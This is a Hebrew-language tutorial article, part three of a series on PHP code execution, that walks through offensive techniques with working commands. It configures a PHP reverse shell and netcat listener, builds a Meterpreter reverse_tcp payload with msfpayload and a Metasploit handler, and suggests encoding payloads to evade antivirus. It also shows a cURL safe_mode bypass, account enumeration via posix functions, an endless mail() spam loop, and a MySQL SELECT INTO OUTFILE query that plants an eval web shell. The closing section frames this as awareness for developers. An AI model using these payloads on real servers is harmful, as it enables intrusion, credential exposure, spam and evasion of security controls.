PHP Code Execution - חלק ג'

נכתב ע"י רועי (Hyp3rInj3cT10n)

הקדמה

בסיומו של החלק הקודם (חלק ב') היו כמה נושאים שלא התייחסתי אליהם למרות שציינתי אותם, אז צירפתי כמה קישורים באותו מאמר. עברתי שוב על המאמר הקודם ולא אהבתי את הסוף שלו אז החלטתי לשנות אותו ולתת בכל זאת עוד כמה מילים, שכן מדובר בנושאים שדורשים התייחסות.

אז הנה אני מגיש לכם את PHP Codes Execution - חלק ג': עוד דברים שרציתי להציג.

PHP

Loading Custom PHP Extensions

כשאנחנו משתמשים ב-PHP אנחנו מוגבלים לכמות הפונקציונאליות שהיא מביאה לנו, וכפופים להגדרות שלה.

לדוגמה, אם אין פונקציות להרצת פקודות או שהפונקציות הללו חסומות, כנראה שלא נוכל להריץ פקודות. אבל לפעמים קיימות עוד אפשרויות, כדוגמאת הפונקציה dl, המאפשרת לנו לטעון כל PHP Extension שנרצה עבור ה-PHP שלנו, והשימוש שלו ממש פשוט: (רק שימו לב שאתם במיקום הנכון)

```
dl('extension');
```

אפשר לפתח extensions מותאמים אישית ולטעון אותם. הפונקציה extension_loaded והפונקציה get_loaded_extensions יכולות לעזור לבדוק אם הטעינה הצליחה.

לטריק הזה קיימים שני חסרונות עיקריים:

1. הפונקציה כפופה ל-safe_mode (חייב להיות מכובה) ו-enable_dl (חייב להיות דלוק).
2. מגירסה 5.3.0 הפונקציה בדרך כלל מבוטלת (תלוי במנגנון שמריץ את ה-PHP).

לדוגמא, במידה ואנו מעוניינים להריץ Reverse Shell (ממש במקרה מוסבר על הנושא הזה בחלק הבא) ואנחנו רוצים להשתמש בפונקציה שקיימת בספרייה קיימת אבל הספרייה שלה לא נטענה, או לדוגמא אני רוצה להשתמש ב-sockets אבל ה-PHP טוען שהוא לא מכיר את הפונקציות שאני מנסה להשתמש בהן. מה עושים?

```
dl('php_sockets.dll')
```

הערה: הדוגמה שלי תואמת למערכות הפעלה Windows. ב-Windows ה-extensions הם DLL-ים.

PHP Reverse Shell

הרעיון מאחורי הקונספט של "Reverse Shell" הוא שלא תמיד נוכל להתחבר ישירות לקורבן שלנו (לדוגמא - במקרים בהם הקוד שלנו רץ מאחורי נתב או פרוקסי), וכך, גם אם הצלחנו להריץ קוד על הקורבן והצלחנו לפתוח Shell ולגרום לו להאזין על פורט מסויים - לא נוכל להתחבר אליו (מפני שאין לנו גישה ישירה למחשבו אלא לנתב / פרוקסי שמייצא לנו שירות ספציפי על אותו מחשב).

בדיוק למקרים כאלה (כמו גם במקרים נוספים) פותח הרעיון של "Reverse Shell", אנחנו תוקפים מישהו וגורמים לו להתחבר אלינו.

התהליך הינו:

1. פותחים קליינט (לדוגמא - Netcat) בפורט שהגדרנו מראש שיידע לקבל את החיבור העתידי שיתבצע אלינו.
2. מריצים קוד על הקורבן (בעזרת כל מתקפה שהוסברה בחלק א' ובחלק ב' של הסדרה הזאת), ובמקום שהקוד יגרום לו לפתוח Shell שיאזין לפורט, הוא יוצר איתנו חיבור.
3. מחכים שהוא יתחבר אלינו, וברגע שזה קורה - אנחנו עם גישה בדיוק כמו במתקפה רגילה.

התהליך דורש מאיתנו, או להתחבר ישירות לאינטרנט (לא דרך נתב) או להגדיר בנתב שלנו שכל חיבור לפורט שבו אנו משתמשים בתהליך יפנה אלינו, למחשב התוקף.

אבל לפני הכל, יש שאלה שאנחנו צריכים לשאול את עצמנו: אנחנו תוקפים שרת באינטרנט, למה שלא נוכל להתחבר אליו ישירות? וזאת שאלה שהיא אכן במקום, אבל במקרים רבים, אולי אפילו ברב המקרים, השרתים עצמם שאנחנו מתחברים אליהם כאשר אנחנו גולשים, לא מחוברים ישירות לאינטרנט, אלא נמצאים בחוות שרתים מנוהלת, שיוצאת דרך נתב, ואנו נגישים רק למספר בודד של פורטים (דוגמאות טובות יכולים להיות: 80, 443, 22, 21 וכו'), ולכן, במקרים כאלה, אם נרצה לפתוח Shell נוח על השרת

(ולא לעבוד בצורה מאוד לא נוחה כמו בעזרת רב ה-Web Shells), נאלץ לעבור לקונספט ה-"Reverse Shells".

נניח כי קיים אתר המאפשר לנו להעלות תמונות, ובעזרת כל מתקפה שלא נבחר, אנו יכולים להעלות עמודי PHP ולהריץ אותם. נוכל להעלות כמובן Web Shell קלאסי (רק תבחרו מכאן, מכאן או מכאן) ולהתחבר אליהם פשוט על ידי גלישה אליהם - זה מתאפשר מפני שפורט 80 מקושר (בנתב) לשרת אותו אנו תוקפים.

אם נרצה ללכת צעד אחד קדימה, ולהתחבר עם Shell קצת יותר מקצועי, לדוגמא Shell שאנחנו פיתחנו, או ה-Shell המובנה ב-MetaSploit - Meterpreter, נבחר, כמו שאמרנו קודם לכן, בקונספט של Reverse Shell. ולכן, נשתמש בחולשה שמצאנו על השרת, ונעלה קוד PHP, שיקונפג מראש להתחבר לפורט שבחרנו מראש ול-IP האינטרנטי שלנו, שגם אותו הגדרנו מראש. נפתח את הקליינט המתאים, ונתחבר לעמוד שהעלנו.

להלן שתי דוגמאות, הראשונה תהיה בעזרת ה-Reverse Shell של Pentestmonkey.net, ניתן למצוא אותו בקישור הבא:

http://pentestmonkey.net/tools/web-shells/php-reverse-shell

לאחר ההורדה יש לקנפג את הקוד כך שיתחבר לכתובת ה-IP האינטרנטית שלכם ולפורט שבחרתם:

```
392  set_time_limit (0);
393  $VERSION = "1.0";
394  $ip = 'YOUR_EXTERNAL_IP';  // CHANGE THIS
395  $port = 1234;       // CHANGE THIS
396  $chunk_size = 1400;
397  $write_a = null;
398  $error_a = null;
399  $shell = 'uname -a; w; id; /bin/sh -i';
400  $daemon = 0;
401  $debug = 0;
```

לאחר העלאת הקוד, לפני הרצתו, יש להפעיל Netcat במצב "האזנה" לפורט שבחרתם, תוכלו לעשות זאת באופן הבא:

```
Nc.exe -l -p PORT
```

לאחר מכן, יש לגרום לשרת להתחבר אלינו בעזרת כניסה לעמוד שהעלנו והפעלת הקוד. לאחר שנכנס לדף ה-PHP, נגרום לשרת להתחבר לשרת ה-NetCat שפתחנו ומשם לעבוד בצורה ישירה על השרת.
הדוגמא השניה תהיה בעזרת השימוש ב-MetaSploit והפעלת Reverse Shell על ה-Shell המובנה בה המוכר בשם "Meterpreter", לא אכנס לעומק בכל הנוגע לשימוש ב-MetaSploit וברכיבים המובנים בה, מפני שזה לא נושא המאמר.

יצירת ה-Payload:

בדוגמא הקודמת העלנו Reverse Shell מוכן מראש, בעזרת MetaSploit נוכל ליצור אחד משלנו עם הקונפיגורציה וה-Payload הספציפי שנרצה. לשם כך נשתמש בכלי "Msfpayload", שיודע לקחת כל Payload שקיים במאגר של MetaSploit ולייצא אותו לקוד עצמאי (כגון קובץ EXE, קוד C, או כמו במקרה שלנו - קוד PHP), על מנת לראות את ה-Payloads הקיימים, נריץ:

```
msfpayload -l
```

אנו מעוניינים ב: php/meterpreter/reverse_tcp. בנוסף ל-Payload, עלינו לקבוע את הפרמרטים שהוא יקבל (כדוגמאת, כתובת ה-IP והפורט שאליו הוא יתחבר), נוכל לראות איתו פרמטרים עלינו להכניס בעזרת:

```
msfpayload php/meterpreter/reverse_tcp O
```

נראה כי עלינו להכניס את ה-LHOST ואת LPORT. בסופו של דבר, הפקודה שלנו תראה כך:

```
msfpayload php/meterpreter/reverse_tcp LHOST=[YOUR_EXTERNAL_IP] LPORT=1234 R > Shell.php
```

במקרה שלנו, הפלט יהיה קובץ PHP בשם "Shell.php", הוא יחליף את קוד ה-PHP מהדוגמא הקודמת. מי שתחליף את שרת ה-NetCat תהיה MetaSploit בעצמה. לשם כך, נפעיל את MetaSploit וניצור שרת שידע להאזין לפורט שבחרנו (1234), נעשה זאת כך:

```
msf > use multi/handler
msf exploit(handler) > set PAYLOAD php/meterpreter/reverse_tcp
PAYLOAD => php/meterpreter/reverse_tcp
msf exploit(handler) > set LHOST [YOUR_EXTERNAL_IP]
LHOST => [YOUR_EXTERNAL_IP]
msf exploit(handler) > exploit
[*] Started reverse handler
[*] Starting the payload handler...
```

וזהו, אנחנו מוכנים. כניסה לעמוד אליו העלנו את הקוד, והאתר יתחבר אל ה-Handler שפתחנו עם Meterpreter.

כאשר אנו מעלים עמודים בסגנון זה או כדוגמת הדוגמא הקודמת לשרתי אינטרנט, סביר להניח כי במידה ורצה עליהם תוכנת Antivirus היא תזהה את הקוד שלנו ותמחק אותו. לכן נוכל להשתמש בכלים כגון msfvenom (עם p-) על מנת לקודד את התוצר הסופי על מנת לזהות את חתימת הקוד וכך להמנע מזיהוי.

לקריאה נוספת בנושא:

http://www.aldeid.com/wiki/Command-injection-to-shell

http://www.offensive-security.com/metasploit-unleashed/Msfpayload

http://www.offensive-security.com/metasploit-unleashed/Msfvenom

http://www.offensive-security.com/metasploit-unleashed/About_Meterpreter

Built-in Tricks for Reading /etc/passwd

4 פונקציות מעניינות מתוך ספריית ה-POSIX:

- posix_getpwuid - מידע על חשבון לפי מספר החשבון
- posix_getpwnam - מידע על חשבון לפי שם החשבון
- posix_getgrgid - מידע על קבוצה לפי מספר הקבוצה
- posix_getgrnam - מידע על קבוצה לפי שם הקבוצה

אפשר לרוץ על X החשבונות הרשונים:

```
$passwd = array();
for ( $i=0; $i<5000;$i++ )
{
    $line = @posix_getpwuid($i);
    if ( $line ) $passwd[$i] = $line;
}
```

אפשר לרוץ על X הקבוצות הרשונות:

```
$passwd = array();
for ( $i=0; $i<5000;$i++ )
{
    $line = @posix_getgrgid($i);
    if ( $line ) $passwd[$i] = $line;
}
```

Bypassing Safe Mode and Open Basedir

ה-safe_mode וה-open_basedir הם שני מנגנוני אבטחה ב-PHP שמטרתם להגביל את הסקריפט שלנו, כדי שלא נוכל לבצע דרכו פעולות שיכולות להוות סיכון לשרת ולשאר האנשים המשתמשים בשרת. אבל מה? כמו בכל דבר שקיים, גם ב-PHP (ובמנגנון שמריץ אותו, כמו Apache) מתגלות פרצות אבטחה. אם להיות יותר ספציפי, אז חלקן הן פירצות אבטחה שמאפשרות לנו לעקוף את מנגנוני ההגנה של ה-PHP. אז מכאן זה רק עניין של לחפש ולמצוא פירצות אבטחה, באינטרנט או לבד (PHP זה קוד פתוח!)

דוגמה - cURL Safe Mode Bypass PHP:

```
$ch =
curl_init("file:///home/czarnobyl/www/directoryWITHyourRIGHT/fileFROMano
therUSER.php\x00/../../../../../../../../../../../../../".__FILE__);
curl_exec($ch);
var_dump(curl_exec($ch));
```

וניתן אף לקצר זאת:

```
var_dump(curl_exec(curl_init("file:///home/czarnobyl/www/directoryWITHyo
urRIGHT/fileFROManotherUSER.php\x00/../../../../../../../../../../../../
".__FILE__)));
```

Mail Spammer

PHP מאפשרת שליחה פשוטה של מיילים בעזרת הפונקציה mail. אבל מה יקרה אם אני אצרף לולאה?

```
<?php
while ( 1 )
      mail(...);
?>
```

זה נשלח מהשרת שבו מורץ הסקריפט, ואנחנו קובעים מה לשלוח ולמי לשלוח. בדוגמה הזו אני גם קבעתי כמה לשלוח (עד שימאס לסקריפט והלולאה תשבר בעקבות איזו מגבלה פנימית). אז בשתי מילים: מייל ספאמר!

Obfuscated Code

בגדול, Obfuscation אומר לקחת את הקוד ולערבל אותו על מנת שיהיה קשה להבין אותו, עם פעולות כמו צמצום הרווחים והשורות בקוד ושינוי שמות המשתנים והפונקציות. אפשר לעשות דברים בהתאם לפונקציונליות בשפה. ב-PHP יש לאנשים מנהג מוזר לקחת את כל הקוד של הדף ולהמיר אותו ל-base64 ולשים ב-Eval:

```
<?php eval(base64_decode("ZWNobyAiUm95Ijs=")); ?>
```

הקוד מחולק ל-2 פעולות:

1. הפונקציה base64_decode - הקוד בעצם מוצג ב-Base64, אז הפונקציה מחזירה אותו לטקסט רגיל.
2. eval - הקוד האמיתי הוא כרגע מחרוזת (String) שהוחזר מהפונקציה base64_decode. איך אפשר להריץ קוד שרשום ב-PHP אבל הוא שמור כמחרוזת? eval.

במילים אחרות, אפשר לקחת את ה-eval ולשנות אותו (נגיד ל-echo) כדי לקבל את הקוד שהיה צריך לרוץ:

```
<?php echo(base64_decode("ZWNobyAiUm95Ijs="));  ?>
```

וזה יעבוד, אבל... כנראה שתריצו את זה בשרת ביתי על גבי Apache ותכנסו עם דפדפן. אז לא עדיף ככה?

```
<?php echo(htmlspecialchars(base64_decode("ZWNobyAiUm95Ijs=")));  ?>
```

לדוגמאות קצת יותר אמיתיות ל-Obfuscations מהסוג הזה: חשיבות הצפנת קבצים במנועים מתקדמים.
וכמובן, יש כאלה שלקחו את זה צעד אחד קדימה ויצרו מנגנוני פיענוח חכמים: Zend Guard ו-IonCube.

כדאי גם לבדוק מה מתלווה למגנונים האלה. לדוגמה, IonCube מגיע עם ספריית פונקציות משלו, שכוללת רשימת פונקציות שכדאי מאוד להכיר ולבדוק. אולי כדאי להתחיל עם ioncube_read_file?

Process Control

הרצת פקודות ותהליכים ב-PHP יכולה להתבצע במספר צורות שונות.הצורה הכי פשוטה שיש היא זו:

```
<?php
      $response = `ls`;
      echo $response;
<?
```

ה-Backtick Operator (מודגש באדום), ינסו להריץ את מה שרשום בפנים כפקודה, והפלט יוחזר. הפונקציה shell_exec עושה בדיוק אותו דבר ("This function is identical to the backtick operator").

עוד פונקציות בסיגנון:

- הפונקציה exec
- הפונקציה passthru
- הפונקציה system
- הפונקציה proc_open
- הפונקציה expect_popen
- הפונקציה pcntl_exec
- הפונקציה popen

סיום תהליכים:

- תהליך יכול להסגר על ידי פקודה שתסגור אותו (לדוגמה, taskkill של Windows)
- תהליך יכול להסגר גם על ידי שליחת SIGNAL של KILL בעזרת הפונקציה posix_kill.
- תהליך שנפתח עם הפונקציה proc_open יכול להסגר בעזרת הפונקציה proc_terminate.
- תהליך שנפתח עם הפונקציה popen יכול להסגר בעזרת הפונקציה pclose.

מגבלות ריצה משמעותיות:

- מנגנון ה-Safe Mode - רשימת המגבלות ה-Safe Mode של PHP מפרטת לעומק מה קורה לכל דבר כש-Safe Mode דלוק. שימו לב שחלק מהפונקציות מבוטלות לצרכי אבטחה, בעוד שחלקן האחר מוגבל לתיקייה ספציפית שממנה הוא יכול להריץ דברים (safe_mode_exec_dir), ולפעמים הפונקציה escapeshellcmd מופעלת אוטומתית. למזלנו מחקו את ה-Safe Mode מ-PHP בגירסה 5.4.0.
- פונקציות חסומות (ההגדרה disable_functions) - אנשים אוהבים לחסום פונקציות מזיקות, ובצדק, אז תזכרו תמיד שיש מגוון רחב של פונקציות שאמנם פועלות קצת שונה אבל עושות בגדול אותו דבר.
- מגבלת זמן ריצה (ההגדרה max_execution_time) - נדיר שאין מגבלת זמן ריצה, ולכן כדאי להימנע מלהריץ דברים שלוקחים יותר מדי זמן בבת אחת. אפשר לנסות להשתמש בפונקציה set_time_limit או בפונקציה ini_set (על ההגדרה max_execution_time) כדי לשנות את מגבלת זמן הריצה של הסקריפט הנוכחי.

MySQL

PHP בדרך כלל לא בא לבד, וברוב המקרים מתלווה אליו שרת מסד נתונים. חשוב להכיר גם את מסד הנתונים שאנחנו עובדים איתו, כי לפעמים הוא יכול לספק לנו פונקציונאליות שלא באמת קשורה ישירות לטבלאות ושדות, כדוגמת מסד הנתונים MSSQL שבו קיים ה-xp cmdshell (שימושי באמת מעבר לניצול SQL Injections?). בדרך כלל עובדים עם PHP ו-MySQL ביחד, ולכן בחרתי להוסיף מעט מידע על MySQL.

קריאת קבצים - הפונקציה load_file

ב-MySQL Function and Operator Reference אפשר למצוא הרבה פונקציות, חלקן אפילו מגניבות! ידעתם על קיומה של הפונקציה load_file? (צריך לתת מיקום מלא):

```
SELECT load_file('file')
```

השאילתה תחזיר את תוכן הקובץ! הפונקציה דורשת הרשאות FILE ויש כל מיני מגבלות קטנות שאפשר לקרוא עליהן בהרחבה בקישור שנתתי.

קריאת קבצים "מתקדמת" - שאילתת LOAD DATA INFILE

אפשר לקרוא קבצים עם שאילתת LOAD DATA INFILE שקוראת קובץ ומכניסה אותו לתוך טבלה.

אם נשתמש באפשרות LOCAL, נוכל לפעמים לקרוא קבצים שהפונקציה load_file לא הייתה קוראת עבורנו.

השאילתה הזו דורשת הרשאות FILE, וגם השימוש שלה הוא ממש פשוט:

```
LOAD DATA LOCAL INFILE 'file' INTO TABLE table
```

דוגמא יפה לשימוש בשאילתה מסגנון זה, ניתן לראות באקספלוייט הבא. תוכלו להציץ בו ולהתרשם מהשימוש בפונקציה mysql_query של PHP.

למעוניינים, אני מכיר 2 דרכים לבטל את האפשרות להשתמש בזה:

- ההגדרה local ב-MySQL
- ההגדרה mysql.allow_local_infile ב-PHP (בגירסאות הנתמכות).

יצירת קבצים - שאילתת SELECT ... INTO

שאילתת SELECT ... INTO לוקחת תוכן וכותבת אותו לקובץ או למשתנה. נוח להשתמש ב- SELECT ... INTO OUTFILE בגלל כל הפונקציונאליות, וגם כאן צריך הרשאות FILE. דוגמה בסיסית לשימוש:

```
SELECT ... INTO OUTFILE 'myfile'
```

אפשר להשתמש בזה בשביל ליצור גיבויים של טבלאות בקבצים בצורה מהירה ונוחה, אבל שימו לב שאנחנו יכולים לשלוט בשם ומיקום הקובץ שנוצר. במילים אחרות, אפשר לנצל את זה כדי ליצור איזה קבצים שנרצה ואיפה שנרצה (בהתאם להרשאות שיש לנו). כלומר, נוכל לעשות משהו כזה:

```
SELECT "<?php @eval($_GET['c']); ?>" INTO OUTFILE 'path/file.php'
```

השאילתה תיצור קובץ PHP שיריץ כל קוד שאני אתן לו בעזרת המשתנה c בשורת הכתובת.

סיכום

הדברים היפים באמת, הטריקים המגניבים, הם הדברים הקטנים שקצת פחות מוכרים, פחות משתמשים בהם (אם בכלל), הדברים שלא מופיעים במדריכים ומאמרים רגילים שלומדים מהם או סתם קוראים בחיפוש אחר דברים חדשים ומעניינים, הדברים שאולי אנשים אחרים גילו ובחרו לא לפרסם, הדברים שתוכל למצוא רק כשאתה יושב באמת וקורא דברים ב-Documentations / Manuals או מתעמק בקבצי המקור של משהו. ומה שבטוח - יש עוד הרבה דברים קטנים כאלה. אולי יש דברים שלא עלו לי לראש כשרשמתי את זה, יש דברים אחרים שבוודאי יכולתי להרחיב גם עליהם עוד אבל הסתפקתי בקישור, אני בטוח שיש גם לא מעט דברים שאני בכלל לא מכיר, ויש דברים שאני אגלה בעתיד - וזה תופס לגבי כולנו. כן, גם לגביך קורא יקר!

שבו, תשאלו, תתעניינו, תחקרו, תקראו, תתייעצו ,תחפשו ותמצאו. אולי יהיה לכם "מזל של מתחילים" וכבר תהיה לכם מציאה יפה , שלא פורסמה או פורסמה ממש לציבור קטן, אולי גם לא - וכאן אתם באמת נמדדים - תמשיכו לחפש, תמשיכו לחקור, תמשיכו לשאול, תמשיכו להתעניין - כי הדבר הגדול הבא יבוא מכם.

הפעם אני באמת מסיים, סוגר וחותם את "PHP Codes Execution" (אולי יהיה חלק ד? אומרים שאני לא צפוי). עברנו פה על דברים שאנשים התחילו להשתמש בהם לפני שנים, ועד היום עדיין משתמשים בהם - וגם ימשיכו!

זכרו: אנשים תמיד ישתמשו במוצרים שאינם מעודכנים לגירסה הכי חדשה שיש. אנשים תמיד מחפפים, מעגלים פינות ומקצרים תהליכים. אנשים הם בסך הכל אנשים, כולנו טועים - וזה אחד הדברים שהופך אותנו למי שאנחנו.

המאמר הזה, לאורך כל חלקיו, בא במטרה לחשוף אתכם למצב הזה - כדי שאתם לא תיהיו המפתח הבא שייפשל. קחו את כל מה שלמדנו פה ותיישמו את זה לכיוון חיובי. תשתפו, תלמדו, תשקיעו ותעזרו! תראו שאתם יודעים ויכולים לא רק לקחת, אלא גם לתת מהלב באהבה.